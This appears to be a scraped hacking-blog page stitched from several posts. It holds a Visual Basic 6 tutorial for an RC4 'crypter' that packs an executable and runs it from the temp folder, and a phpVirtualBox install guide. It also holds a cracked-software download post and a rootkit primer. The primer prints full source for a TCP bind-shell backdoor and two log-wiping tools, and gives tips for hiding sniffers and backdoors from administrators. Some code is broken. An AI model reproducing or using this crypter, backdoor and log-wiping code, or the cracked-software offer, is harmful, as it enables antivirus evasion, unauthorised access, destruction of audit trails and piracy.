How To Make a crypter

 

 

How To Make a crypter ?
What you will need:
Visual Basic 6 or Visual Basic 6 Portable
A RC4 module
A brain

The RC4 module and Visual Basic 6 Portable will have the download links at the end of this tutorial.

TABLE OF CONTENTS:
1. Introduction
2. Building your crypter
3. Conclusion

1. Introduction

RC4:
In cryptography, RC4 (also known as ARCFOUR or ARC4 meaning Alleged RC4, see below) is the most widely used stream cipher and is used in protocols such as Secure Sockets Layer (SSL) (to protect Internet traffic) and WEP (to secure wireless networks).

Stub:
A method stub or simply stub in software development is a piece of code used to stand in for some other programming functionality. A stub may simulate the behavior of existing code (such as a procedure on a remote machine) or be a temporary substitute for yet-to-be-developed code. Stubs are therefore most useful in porting, distributed computing as well as general software development and testing.

Builder:
A builder is usually the client to make/do something to a file, and it is supposed to go with a stub. The builder usually allows the stub to simulate the behaivor of existing code, and than it makes the file/does something to a file.

2. Building your crypter.

Now, open up Visual Basic 6 or Visual Basic Portable. To make the task easier, open two Visual Basic 6 programs. One is going to be the builder, and one is going to be the stub.

Now, lets start on the builder. Add a RC4 module, and lets go on. First of all, add one label that says “File Path:”, a text box right beside “File Path:”, a button that says “Browse” or “…”, and another button that says “Crypt” or “Build”. Now, lets add the CommonDialog control. Add a CommonDialog and name it commondlg. Now, lets double click the button that says “Browse” or “…”. Add this code, and I’ll explain it.

Code:

With commondlg 'CommonDialog1.
.Filter = "Executable files | *.exe" 'The file used for crypting. (*.exe)
.DialogTitle = "Please select a executable file..." 'The title of the dialog.
.ShowOpen 'Show the dialog.
End With
TextBox1.Text = commondlg.FileName 'Make TextBox1.Text as the selected filename.

The With commondlg command calls CommonDialog1.
The .Filter part allows you to choose what files you only want to be selected.
The .DialogTitle command is the title of the dialog (the prompt that tells you which file you want to select for crypting).
The .ShowOpen command shows the dialog.
End With will end CommonDialog1.
And finally, the TextBox1.Text = commondlg.FileName command makes TextBox1.text show the selected filename.

Now, click the button that says “Build” or “Crypt”. Add this code. It explains it, so please take time to read what it says.

Code:

Dim sStub As String, sFile As String 'This command will declare the two strings.
Open App.Path & "\stub.exe" For Binary As #1 'Opens up the stub.
sStub = Space(LOF(1)) 'This declares the space.
Get #1, , sStub 'This puts in a space in the file.
Close #1 'This closes the file.

Open TextBox1.Text For Binary As #1 'Opens up the stub.
sFile = Space(LOF(1)) 'This declares the space.
Get #1, , sFile 'This puts a space in the file.
Close #1 'This closes the file.

Open App.Path & "\output.exe" For Binary As #1 'This creates the crypted file as "output.exe".
Put #1, , sStub & FileSplit & RC4(sFile, Pass) 'This adds the option FileSplit and the RC4 option.
Close #1 'This closes the file.

MsgBox ("File crypted successfully!") 'This is the prompt to show the message that the program successfully crypted the file.

Now, you might have an error that will show you that FileSplit and Pass is not declared. To do so, we will add the declarations on the top of the coding.

Code:

Const FileSplit = "<@#@>" 'The file split.
Const Pass = "s0rasRC4Tutorial" 'The RC4 password.

For this tutorial, we will be using “s0rasRC4Tutorial” as the RC4 password.

Now, lets start on the stub. Add the RC4 module, and make a new module called modMain. Add this code in modMain:

Code:

Const FileSplit = "<@#@>" 'The file split.
Const Pass = "s0rasRC4Tutorial" 'The RC4 password; It must be the same as the one on the builder!

Public Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpszOp As String, ByVal lpszFile As String, ByVal lpszParams As String, ByVal LpszDir As String, ByVal FsShowCmd As Long) As Long 'Calls the ShellExecute command.

Public Sub Main() 'The main part of the stub.
Dim sStub As String, sFile As String 'This will declare the strings again, just like we did on the builder.
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 'Opens up the selected .exe file.
sStub = Space(LOF(1)) 'This will declare the space.
Get #1, , sStub 'This puts a space in the file.
Close #1 'This closes the file.

sFile = Split(sStub, FileSplit)(1) 'This will split the file and the stub.
Open Environ("tmp") & "\decrypted.exe" For Binary As #1 'This will make a decrypted file in the RC4 folder.
Put #1, , RC4(sFile, Pass) 'This will add the RC4 password to the file with the selected RC4 password.

Call ShellExecute(0, vbNullString, Environ("tmp") & "\decrypted.exe", vbNullString, vbNullString, 1) 'Calls the ShellExecute command and drops the decrypted file in the temporary files folder.

End Sub 'This ends "Public Sub Main()".

The code will be teaching you. Once you’re done, remove the Form1.

3. Conclusion
I hope you liked this tutorial, and I hope you learned a lot about crypting with RC4!

Visual Basic 6 Portable: http://www.mediafire.com/?tgicg4hn1n5
RC4 module: http://www.freevbcode.com/ShowCode.asp?ID=4398

…………………………………………………………………………………………………………………….

Install phpVirtualBox on Windows & Linux

 

 

What is phpVirtualBox: How to Install phpVirtualBox on Windows & Linux

This article introduces phpVirtualBox, an open source, AJAX and PHP-based implementation of the Oracle VirtualBox interface.

oracle VirtualBox is a great enterprise ready virtualisation software. However, what it lacks is a powerful Web-based management interface. Usually, people prefer VMWare over VirtualBox, as it has good Web-based remote management interface.

phpVirtualBox provides an interface that”s a VirtualBox-look-alike for people who are not command-line savvy. Through phpVirtualBox, you can control a headless VirtualBox VM from a Web browser, including operations such as start/stop VMs, take snapshots, configure VMs, import/export VMs, and much more.

The requirements are:

• Any Web server with PHP 5.2.0 or later; xampp will be good.
• A working installation of Oracle VirtualBox 3.2.2 or later.
• Any Web browser— Firefox, Opera, Chrome or IE—will do the job.

Installation on Windows

Installation is very simple. Here , I”m using Windows XP SP3.

Install Oracle VirtualBox OSE 3.2.10, and then install xampplite-win32-1.7.3. Download phpVirtualBox 0.5 from here and extract the files/folder into htdocs directory. phpVirtualBox requires that vboxwebsrv.exe must be running on the Oracle VirtualBox host machine. This file is located at C:\Program Files\Oracle\VirtualBox\.

Now, edit the config.php file and change it to the following settings:

Now navigate to the resulting folder in your Web browser. ( see the figure below)

Installation on Linux

The installation on Linux is also very simple. I am using Ubuntu 9.10 for this work, and installed xampp-linux-1.7.3. It comes with the latest PHP version. To install Oracle VirtualBox 3.2 on Ubuntu, first you have to add the repos for VirtualBox in your /etc/apt/sources.list:

After that, update your repository cache with the following command :

To install Oracle VirtualBox, run the code given below:

phpVirtualBox requires you to start the vboxwebsrv program, located under /usr/bin:

Here are the parameters :

• -b : run the program in the background
• -logfile : log file location for vboxwebserv

Now download phpVirtualBox 0.5:

Unpack it to /var/www or /usr/local/apache2/htdocs. In config.php, edit the following parameters:

Now navigate to the resulting folder in your Web browser.

NOTE: for the sake of tutorial, i have used a single physical machine for Oracle VirtualBox and phpVirtualBox. If you don,t want burden at your Oracle VirtualBox installation with a Web server, then you can host phpVirtualBox on another machine. In that case, you have to make some simple modifications.
Till then enjoy the post and keep visiting !!!

Platinum Hide IP v3.0.4.6 Full

Use Platinum Hide IP to keep your real IP address hidden, surf anonymously, secure all the protocols on your PC, provide full encryption of your activity while working in Internet, and much more.
Key Features
• Anonymize Your Web Surfing
Your real IP is hidden when you surf on the Internet, keeping your online activity from being tracked by others.
• Protect Your Identity
Anonymous web surfing enables you to prevent identity thieves from stealing your identity or other personal information, and keep your computer safe from hacker attacks or other risks.
• Choose IP Country and Check IP
Proxy lists of many countries are enabled and you decide to select one country from the Choose IP Country window. You can check the current IP address directly.
• Send Anonymous Emails
Send anonymous emails through any web based mail system such as Gmail, Hotmail, etc.
• Get Unbanned from Forums and Blocked Websites
Change your IP address and then you can get unbanned yourself from any forums or other blocked websites that have ever banned you from.

Platinum Hide IP v3.0.4.6.Full.Cracked
Download : | FileSonic | DepositFiles | Turbobit |

…………………………………………………………………………………………………………………………

The Art of Rootkits: Everything About Rootkits

 

“ALMOST” EVERYTHING ABOUT ROOTKITS

1 – What is a root kit?A rootkit is a program. Rootkits come in all different shapes and styles, some more advance than others. Rootkits are basically programs that help attackers keep their position as root. Notice it’s called a “rootkit”. ‘root’ meaning the highest level of administration on *nix based systems and ‘kit’ meaning a collection of tools. Rootkits contain tools which help attackers hide their presence as well as give the attacker full control of the server or host continuously without being noticed.
Rootkits are usually installed on systems when they have been successfully compromised and the highest level of access has been given (usually root) Some rootkits refuse to be installed until the attacker has root access, due to read and write permission to certain files. Once the system has been successfully compromised and the attacker has root, he\she may then install the rootkit, allowing them to cover their tracks and wipe the log files.

A typical rootkit consists of the following utilities (Note: We will look at these in a lot more detail later on):

• Backdoor Programs – login backdoors, telnetd etc
• Packet Sniffers – Sniff network traffic such as FTP, TELNET,POP3
• Log-Wiping Utilities – Bash the logs to cover tracks
• DDoS Programs – Turn the box into a DDoS client (Remember trinoo?)
• IRC\Bots – Bots used to take over IRC channels (Lame and annoying)
• Miscellaneous programs – May contain exploit, log editor

(Don’t worry to much if you don’t understand any of the above, as I said were look at this all in a lot more detail further down)

2 – Hacker Jargon Definition

Oh Hail the mighty hacker jargon!

This is what the “Hacker Jargon” says about the word “rootkit”…

“rootkit: /root�kit/, n.
[very common] A kit for maintaining root; an automated cracking tool. What script kiddies use. After a cracker has first broken in and gained root access, he or she will install modified binaries such as a modified version login with a backdoor, or a version of ps that will not report the cracker’s processes). This is a rootkit.”

Wow! that’s amazing! We worship you hacker jargon! Thank you ever so much for explaining to me what a rootkit is!

Remember kidz, all you have to do is read out some cool urban HaX@r words out the jargon to your friends and they will think your really c00l! and 1337! 😉

3 – Hackers or the Kids?

Now the question you are probably asking yourself is “Is a rootkit a hackers tool or just another script kiddies tool?” (Well, you may not be thinking that, maybe I just suck and my psychology skills are as good as yours..) Well, the “Hacker Jargon” defines a rootkit and a script kiddies tool and to some extend he\she\they\IT is right (The jargon is always right)

Rootkits don’t really require that much skill to run or use. Most rootkits can be compiled like this…

gcc t0rn.c -o rootkit

then…

./rootkit

(Now obviously when compiling all “hacker” tools you need to chose a name which disguises it’s purpose, so rootkit would be a really stupid choice)

However there are some rootkits that require more skill to run and use. Some rootkits require you to edit the source code before it’s compiled and some even need you to edit the iptables and kernel. (Very advance ones, they used one at the “Black Hat Conference” in 2002)

So, rootkits are used by both hackers and script kiddies. I personally believe that a hacker would have to write his own rootkit to call himself a hacker not just run and use someone else code. (However that�s just my opinion, so don’t hold me to that!)

4 – Who uses rootkits and why?

I have already really covered this in the previous sections, however for the forgetful types I shall explain again, just to summaries up what we have learnt so far…

Hackers and script kiddies use rootkits, they use them to maintain root and cover their tracks. Script kiddies lack knowledge of *how* a rootkit really works and most often they will end up deleting key binary files. (Basically, script kiddies will let you know when they have compromised your system)

Rootkits are only installed when the system has been compromised and root has been gained.

I don’t really want to go into any more detail, because I’ll end up just repeating myself. Lets just move on…

5 – The Language rootkits are coded in

Hmmm, well this isn’t going to be short…
Most rootkits are coded in C or Assembly (Shell code). Most of the well-known rootkits are coded in C so the attacker can edit the source code to fit its target specification. (E.g. The logs files could be stored in a different location)

6 – Different types of rootkits

At the current time of writing there are 2 main types of rootkits.

Application rootkits – Established at the application layer
Kernel rootkits – Established at the kernel level (Core of any OS)

When I say “established” this could be referred to of where exactly the rootkit hides. Now lets start of my looking at an application rootkit.

An application rootkit is basically a rootkit which “replaces” all the well know system binary files (ls, netstat, killall) with “fake” or “Trojanned” ones. The trojanned or fake system files will help hide the attackers presence, report false information to the system administrator and even provide a Backdoor for the attacker. To help you understand this more I have provided a list of all the typical system files, which are “replaced” to, help the attacker cover his or her tracks. The list was taken from “Rootkit: Attacker Undercover Tools” by Sailman Manap.

LIST START….

Programs replace to hide attacker presence.

• “ls“, “find“, “du” – Trojaned system file will be able to hide attackers file, directory and stuff that have been brought into the system from being listing.
• “ps“, “top“, “pidof” – All these programs are process monitor program. Trojaned program will hide attacker process from being listing.
• “netstat” – netstat is used to check network activity such as open port, network connections establish and listening. Trojaned netstat will hide processes installed by attacker such as ssh daemon or other services.
• “killall” – Trojaned “killall” will not be able to kill attacker process.
• “ifconfig” – When sniffer is running PROMISC flag is set to the nic. “ifconfig” is a handy utility to set and to view setting of ethernet nic. Trojaned “ifconfig” will not display the PROMISC flag when sniffer is running. This is useful to hide sniffer from being detected.
• “crontab” – Trojaned “crontab” will hide the attacker�s crontab entry.
• “tcpd“, “syslogd” – Trojanised “tcpd” and “syslog” will not log any connection made by attacker. “tcpd” also capable to bypass tcp wrapper enforcement.

LIST END

Hopefully, that would should have given you a better idea of what an Application is. Remember, this section has only be written so you can distinguish the differences between a “Application” rootkit and “Kernel” rootkit. Lets now take a look at a Kernel rootkit.

A Kernel rootkit is a rootkit that buries itself deep in the Kernel. This makes it extremely hard to detect and remove. Kernel rootkits are more advance then Application rootkits, A Kernel rootkit works by exploiting and manipulating Kernel capabilities. Now I don’t really want to go in much more detail on Kernel rootkits because they can get quite advance (Well, they ARE) were talk about them later in this file, it may also help to look at “2.7 – How the kernel works” to get a feel for these Kernel rootkits…

It’s now time to move on. In the next section (Section 2) We look at all the elements which make up a rootkit, such as a Backdoor, Sniffer, log basher etc Half way through section 2 we will then look at “Kernel Rootkits” in more detail.

7 – Backdoors

Most of todays (decent) rootkits contain “Backdoors”. Now you should all know what a Backdoor is but just in case you didn’t I will quickly give a brief explanation of all.

Backdoor – A program or script which allows an attacker to establish some form of privilege and remote communication without logging into the system. Backdoors are usually installed when the system has been successfully compromised and some form of exploit has been entailed. The advantage of installing a backdoor on a system means that the attacker doesn’t have to keep using the same exploit over and over again. The disadvantage of installing a backdoor means at one point or another the system administrator will notice suspicious activity in his network traffic, if he or she were to run a port scanner such as Nmap (Coded by Fyodor http://www.insecure.org) he or she would soon uncover an open port and sooner or later remove the backdoor.
A typical example of a Windows NT\2000 backdoor is one entitled “Tini.exe” (Made by NTSecurity) This little program listens on port 7777 for incoming connections, once a connection has been established a remote command shell is executed for the attacker who establishes the connection. (Now as I have mentioned this t-file generally deals with *nix backdoors, so I don’t really want to get side stepped talking about windows backdoors, exploits etc I thought I’d just mention tini.exe to give you a general idea of what a Backdoor consists of.

Now lets talk more about *Nix backdoors. *nix backdoors come in *many* shapes and sizes. The paper by Sailman Manap gives yet another long comprehensive list of all the forms backdoors come in…

LIST START

• Login Backdoor – Modifying login.c to look for backdoor password before stored password. Attacker can log into any account using backdoor password.
• Telnetd Backdoor – Trojaned the “in.telnetd” to allow attacker gain access with backdoor password.
• Services Backdoor – Replacing and manipulate services like “ftp”, “rlogin”, even “inetd” as backdoor to gain access.
• Cronjob backdoor – Backdoor could also be added in “crontjob” to run on specific time for example at 12 midnight to 1 am.
• Library backdoors – Almost every UNIX and Windows system have shared libraries. Shared libraries can be backdoor to do malicious activity including giving a root or administrator access.
• Kernel backdoors – This backdoor is basically exploiting the kernel, which is core of the operating system to handle and to hide backdoor effectively
• Network traffic backdoors which typically using TCP, UDP, and ICMP – Backdoor that exploiting network traffic protocol is widely used. In TCP protocol backdoor like ssh is popularly used because it communicate in encrypt, while crafting and tunneling packet In UDP and ICMP traffic will give a better chances escaping from firewall and “netstat”.

LIST END

All of these and any other forms of *nix backdoors are explained and documented by Christopher Klaus, his paper can be
Reached at http://secinf.net/info/unix/backdoors.txt, I strongly recommend you check it out if you are either really interested in Backdoors or you still haven�t grasped the basic concepts of Backdoors. I have also written a small file on Backdoors entitled “A Crash Course in Backdoors” it is available at http://www.invisibleghosts.net

To finish of this section on backdoors, I feel like adding some source code. (This is a basic TCP Backdoor for *nix if you don’t own a copy of linux or unix don’t even attempt to compile this 😉
I did not write this, shaun2k2 did, so please give ALL credit for the below source code to him.

—-START—————————–

/* backdoor.c - basic unix tcp backdoor.
*
* This is a basic UNIX TCP backdoor.  /bin/sh is binded to the port of your
* choice.  Access the shell with telnet or netcat:
*
* root# nc -v hackedhost.com 1337
*
* I do not take responsibility for this code.
*/

#include
#include
#include
#include
#define BACKLOG 5
#define SHELL '/bin/sh'

void usage();

int main(int argc, char *argv[]) {
if(argc <2) {
usage(argv[0]);
}

int sock, csock;
struct sockaddr_in client;
struct sockaddr_in mine;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf('Couldn't make socket!\n');      exit(-1);
}

mine.sin_family = AF_INET;
mine.sin_port = htons(atoi(argv[1]));
mine.sin_addr.s_addr = INADDR_ANY;
if(bind(sock, (struct sockaddr *)&mine, sizeof(struct sockaddr)) == -1) {
printf('Could not bind socket!\n');
exit(-1);
}

if(listen(sock, BACKLOG) == -1) {
printf('Could not listen on socket!\n');
exit(-1);
}

printf('Listening for connections on port %s!\n', argv[1]);

while(1) {
int sin_size;
sin_size = sizeof(struct sockaddr);
csock = accept(sock, (struct sockaddr *)&client, &sin_size);
dup2(csock, 0);
dup2(csock, 1);
dup2(csock, 2);
execl('/bin/sh','/bin/sh',(char *)0);
close(csock);
}
}

void usage(char *progname[]) {
printf('Usage: %s \n', progname);
exit(-1);
}

——-END—————————————

The main purpose of me showing you this source is to give you a general idea of what a rootkit consists of. Remember rootkits come in many shapes and sizes and every rootkit is most likely to contain some form of Backdoor…

So what else do rootkits contain apart from Backdoors? Lets move on to the next section and look at “Sniffers”.

8 – Sniffers

A lot of today�s rootkits contain programs known as “Sniffers”. What are Sniffers? (Also known as Packet Sniffers) Basically packet Sniffers are programs that are made to “Monitor” network traffic, TCP\IP or any other network device. I’m sure you know when you are browsing the Internet or playing online games “Packets” of data are going to and from your Computer. Attackers install Sniffers so they can capture valuable information which is floating to and from your computer.

What type of valuable information? Here is a list of what a Sniffer is capable of…

• Sniffing FTP passwords
• Sniffing Telnet passwords
• Sniffing Network passwords
• Sniffing POP3 passwords
• Capturing websites you have visited
• Sniffing Gateways
• Lots more

Some of you may be thinking “Won’t my passwords been encrypted as they are passing over my network?” To some extent this is true, some services provide encryption (Such as E-mail if you were using PGP sniffing would be useless, unless of course your a good cryptographer) Other services such as ftp and telnet transfer their passwords in plain text, so it would be easy for an attacker to just capture the packet then dump it into a text editor (such as “vi”, “Pico” or for M$ notepad) it would only take a couple of minutes for an attacker to uncover the plain text password.

Now there is a technical side to Sniffers that I don’t really want to go into. For more information on Sniffers please read http://www.sans.org/infosecFAQ/switchednet/sniffers.htm this paper was written by a “Jason Drury” and I have found it most useful. If you are more interested in Windows Sniffers then I can recommend getting a copy of the following….

• Windows Sniffer
• TcpDump
• Password Capture ——–> Made especially to sniff passwords
• Sniff
• Ethereal
• EtherPeep

My personal favorite Sniffer for Windows has to be TCPDump it’s command line driven so the scripties wouldn’t go near it but for those truly interested in the elements of computer hacking I would recommend TCPDump, it will take time getting used to it but its worth it.

Now what about linux sniffers.. Hmmmm I’ll be honest with you I haven�t had much experience using linux Sniffers, but I have been told there are some good tutorials on how to make your own Sniffer for *nix on http://www.planetsourcecode.com, however before you even attempt to make your own I strongly recommend you get into socket programming. If you want a read made Sniffer just google for one, a common one is “linsniffer.c”

Anyway back to the main point, most rootkits DO sometimes contain “ready to run” Sniffers and Sniffers are hard to detect once they are running. (Were look at this a little later) The purpose of this section was just to show you WHAT a Sniffer is.. Now you know lets move on 🙂

9 – Cleaners (Log Bashers)

Ah, we come to something a lot simpler, Log Bashers 🙂 (Also known as Log deleters, Log killers and Log Cleaners)

No matter what the title they all do the same thing. Delete system log files. System Administrators rely on logging as an extra form of security. Log files can keep track on who logged in last and at what type, what programs were run as that user was logged in etc etc. Therefore it is exceptionally important for the attacker to destroy ALL traces of log files. Now, some of you may be thinking:

“If all the Log files are deleted won’t this give an indication to the system administrator that there box has been hacked?”

If you are thinking that, then your dead right. Deleting the log files can sometimes be pretty stupid, the best way to get around the log files is to “edit” the entries by deleting your entries and filling in some false ones (Sometimes this requires root access, but if your running a log cleaner of a rootkit you should already have root 🙂

Another way around this is to delete the whole log file then to “re-create” them. Here is a VERY simple script I made to demonstrate what I mean…

——-START——

int main() system(“rm-rf /root/logs/LastEntry.log”); touch(” /root/Logs/LastEntry.log”); return 0;

——-END——–

Now for those who don’t know any C then I shall I explain. The first main line of the code is telling the C program to remove the file LastEntry.log, delete it. The second line is telling the program to create a file called LastEntry.log in the exact same location. So when the system administrator opens the log file he will be confronted with a blank file. (This may be a bit stupid because if the admin is security minded he will know the system has been compromised. Some stupid admins see it as a ‘Bug’ therefore you get away with it.)

Most rootkits contain some form of log-cleaner, but before you execute it you need to make sure you know exactly HOW it works, otherwise your just another script kiddie who “presumes” this tool will cover your tracks completely. Some log cleaners search certain directories for words like “IP” “Login”, “Logs”, “Log” etc and then delete them. Some just delete all the default log files that are in the default system location. Before you compile a rootkit learn C and take a look at the source code you may find you need to edit some of the entries. It’s important you come FULLY prepared before you go out and install your rootkit.

I’ll tell you now, I have been in this game long enough to realize even if you successfully edit\Delete a bunch of log files it doesn’t mean you are untraceable. You still need to think about system programs which are running, which may have their own logging capabilities. Look out for IDS (Intrusion Detection Systems) such as SNORT and look out for programs like Tripwire and any other security programs which monitor\analyze system security.

As more and more people become security minded so do there software and “security awareness” system administrators are getting clever, so be careful!

I’ll end this section now with some source for some well known log cleaners, I would strongly recommend not using them though, since they are fairly old. I’m only using them to show you what typical log cleaners are (used to be) like. Just because they are old though doesn’t mean they don’t work 😉 I’m just pretty sure if you Google about you can find MUCH better ones.

This is a very old log cleaner called “Zap” the source code is below..

—-START—-

#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME '/usr/adm/wtmp'
#define UTMP_NAME '/etc/utmp'
#define LASTLOG_NAME '/usr/adm/lastlog'

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf('%s: ?\n',who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf('Zap2!\n');
} else
printf('Error.\n');

—-END—-

Here is another little log cleaner called Cloak v1.0 it wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX. This program is *old* and was written by Wintermute of -Resist-.

——-START——-

/* UNIX Cloak v1.0 (alpha)  Written by: Wintermute of -Resist- */
/* This file totally wipes all presence of you on a UNIX system*/
/* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
/* is compatible..  This file is for information purposes ONLY!*/

/*--> Begin source...    */
#include
#include
#include
#include
#include

main(argc, argv)
int     argc;
char    *argv[];
{
char    *name;
struct utmp u;
struct lastlog l;
int     fd;
int     i = 0;
int     done = 0;
int     size;

if (argc != 1) {
if (argc >= 1 && strcmp(argv[1], 'cloakme') == 0) {
printf('You are now cloaked\n');
goto start;
}
else {
printf('close successful\n');
exit(0);
}
}
else {
printf('usage: close [file to close]\n');
exit(1);
}
start:
name = (char *)(ttyname(0)+5);
size = sizeof(struct utmp);

fd = open('/etc/utmp', O_RDWR);
if (fd < 0)
perror('/etc/utmp');
else {
while ((read(fd, &u, size) == size) && !done) {
if (!strcmp(u.ut_line, name)) {
done = 1;
memset(&u, 0, size);
lseek(fd, -1*size, SEEK_CUR);
write(fd, &u, size);
close(fd);
}
}
}


size = sizeof(struct lastlog);
fd = open('/var/adm/lastlog', O_RDWR);
if (fd < 0)
perror('/var/adm/lastlog');
else {
lseek(fd, size*getuid(), SEEK_SET);
read(fd, &l, size);
l.ll_time = 0;
strncpy(l.ll_line, 'ttyq2 ', 5);
gethostname(l.ll_host, 16);
lseek(fd, size*getuid(), SEEK_SET);
close(fd);
}
}

—–END—–

10 – Rootkit Extra Utilities

I will try and keep this section short due to there isn’t really that much to say. As you should know by now and as I have mentioned rootkits come in all shapes and styles. Some rootkits are well known for their advance log cleaner, others for their advance Backdoor and others for their advance, stealth hard to remove installation procedure. There are some rootkits which are well known for being SAR (Swiss Army Rootkits) basically, they are rootkits with average features plus a whole load of extra utilities such as Bots, DdoS, Extra scripts, Password crackers, Killer scripts etc

Rootkits that contain scripts that cause DDoS attacks are considered dangerous; if an attacker were to exploit 100’s of servers and install such a rootkit those servers would then become “Zombies” they could launch DDoS attacks (SYN, PING, FINGER, UDP, TCP) against chosen targets. Rootkits are continuously being made more advance and extra utilities are being added on each time. In the future I personal predict that rootkits will be a major threat to national security…….

That�s really all I have to say for this section. Lets move on.

11 – Kernel Rootkits (More Detail)

We have already briefly looked at “Kernel Rootkits” but we haven�t really looked at them in close detail. In this section I plan to analyze and expose the basics of a kernel rootkit. If you�re not to sure on what the “Kernel” is I recommend you skip this section and move onto the next section (2.5) then come back to this section when you feel that you are ready.

The best way to start of this section is talk about how Kernel rootkits actually work. Kernel rootkits work, basically by exploiting LKM. (Loadable Kernel Modules)LKM are used to load device drivers on a “as-needed” bases. LKM are usually only exploited so the attacker can perform malicious activity.

Kernel rootkits are way more dangerous than Application rootkits because instead of just replacing the basic binaries like “ls” and “netstat” they attack the kernel directly and manipulate system-calls like open() and read(). As we know application rootkits replace binaries, if the administrator was clever and analyzed the actual binaries which had been replaced they will realize the differences in size (e.g. the program could contain an extra 128 bytes) However, this wouldn’t be possible with Kernel rootkits because instead of actually changing the size and structure of the program, they just change the way the program operates. For example programs like “ps” use an open system call “open()” and reads information from files in the directory /proc, where also the information about running processes is kept.

For more information on rootkits and to mess about with typical examples of each rootkit type… Considering obtaining a copy of..

Application rootkit – t0rn Kernel rootkit – Adore (Also known as LKM-Adore)

12 – How the Kernel Works

This will be a very basic and very short section and is only here to help those understand how the Kernel works. What is a Kernel? In English and using non-technical jargon a Kernel is basically the “Core” of the OS (Linux, Unix, Windows). Without the Kernel an Operating System could not load.

The Kernel is one of the first things which load in a OS and it remains in the main memory. Since it’s staying in the main memory its *very* important for the Kernel to be as small as possible, but at the same time be able to provide all the essential programs, services, devices, applications and drivers for the OS. Typically, the kernel is responsible for I/O(Input and Output) management, Device drivers, CPU management, process and task management, and disk management.

The kernel looks something like this….

|------------------
|Applications and |        - LKM - System Calls
|_Programs_ _ _ _ |
*******************
*  MAIN KERNEL    *        - Consists of:  Memory Management
*                 *                        I\O Management
*******************                        CPU Management
|    Hardware      |                       Device Drivers
|_ _ _ _ _ _ _ _ _ |

Understand? Quite simple really…

13 – Analyzing an Application Rootkit “T0rnkit”

This is a professional analysis of the rootkit “T0rn” this was taken of off Mcaffe’s main site.

“T0rnkit attempts to hide its presence when installed. During installation it first shuts down the system-logging daemon, syslogd. It then replaces several other system executables with trojanized versions and adds a trojanized ssh daemon to the system as well. Programs that are replaced are, among others; du, find, ifconfig, login, ls, netstat, ps, sz and top. If the system administrator uses these somewhat vital functions they report normal looking information, but the processes and network connections that the hacker uses aren’t shown. Finally T0rnkit starts a Sniffer in background, enables telnetd, rsh and finger daemons in “/etc/inetd.conf”, restarts inetd to activate changes made and starts syslogd again. This all without the system administrator knowing about it. Noteworthy is that all new programs in the t0rnkit all have the exact size of 31.336 bytes. T0rnkit usually can be found in the directory /usr/src/.puta, but of course not if it already has been activated because the command ‘ls’ will have been replaced. With the standard installation of t0rnkit TCP port 47017 is open for root access to the system. A modified version of this rootkit was also distributed by a variant of Unix/Lion worm.

A system administrator that is a little bit into the security world can find a with t0rnkit infected system pretty fast because of the change in file sizes and a simple port scan will reveal the open port, but funny enough most people don’t have this ‘expertise’ “

14 – A variety of hiding methods

To finish off section two, I will give you some tips that I have found to be useful when hiding certain features of a rootkit e.g. Backdoor, Sniffer etc)

Lets start by reviewing ways to successfully hide the actual rootkit…

To start off with, it would be a good idea to hide the compiled rootkit in a hidden directory. I would recommend creating a directory you suspect the administrator will not go near. For example try hiding it in a folder situated in /var/something/something/something make it as long as possible and rename the file using the “mv” command to something the admin will not suspect is a “suspicious” file (e.g. Kernel-023, pso, ls2 etc)

Now when running the sniffer make sure you add the character “&” behind of it, like this “lnsniffer&”, the “&” tells the system to continue running the program even when the user is logged out. However, this does provoke a slightly higher risk. If you leave the Sniffer running all day and the sysadmin logs in he may notice something is up if he was to execute the “ps” command. Sniffers are great programs for getting passwords, if a TCP Sniffer was installed on a regular Ethernet connection you could capture a good 50 odd passwords! The downside to Sniffers are they may need to be modified slightly before you can run them, also some IDS programs can detect changes made to the Ethernet card (e.g. When the card is switched into promiscuous mode the IDS will know and alert the admin) 😦

Now if your running a “Kernel rootkit” its quite easy to hide the Sniffer, because if the kernel rootkit is any good it should allow the Sniffer to hide the promiscuous flag of the network interface. The system call to Trojan in this case is sys_ioctl() (You don’t really need to know that, unless your planning on writing your own kernel rootkit)

“Hiding network connections” is another technique you may wish to use. To sucessfully hide network connections it can be done by preventing the system logging the activities inside �/proc/net/tcp� and �/proc/net/udp�. The idea for a kernel rootkit is to trojan the sys_read() command. Whenever reading these two files and a line matching a unique string, the system call will hide it from user.

The above techniques can then be brought together to successfully hide a backdoor. Most backdoors you install will listen on a certain port, this informartion is then logged into /proc/net/tcp and /proc/net.udp, you would need to manipulate the sys_read() system call to sucessfully hide the backdoor.

